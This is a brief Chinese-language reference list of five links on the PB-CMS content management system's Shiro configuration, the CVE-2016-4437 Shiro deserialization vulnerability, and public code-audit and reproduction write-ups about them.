1. pb-cms 项目 ShiroConfig.java 源码文件（Gitee）：https://gitee.com/LinZhaoguan/pb-cms/blob/master/src/main/java/com/puboot/common/config/ShiroConfig.java

2. NVD 关于 CVE-2016-4437 的描述：https://nvd.nist.gov/vuln/detail/CVE-2016-4437

3. FreeBuf《Shiro 反序列化漏洞复现》相关技术文章：https://www.freebuf.com/sectool/256515.html

4. PB-CMS 代码审计学习（公开技术分析）：https://y0n3er.github.io/2024/03/PB-CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0/

5. JAVA 代码审计之某瀑布内容管理系统（先知社区）：https://xz.aliyun.com/news/91551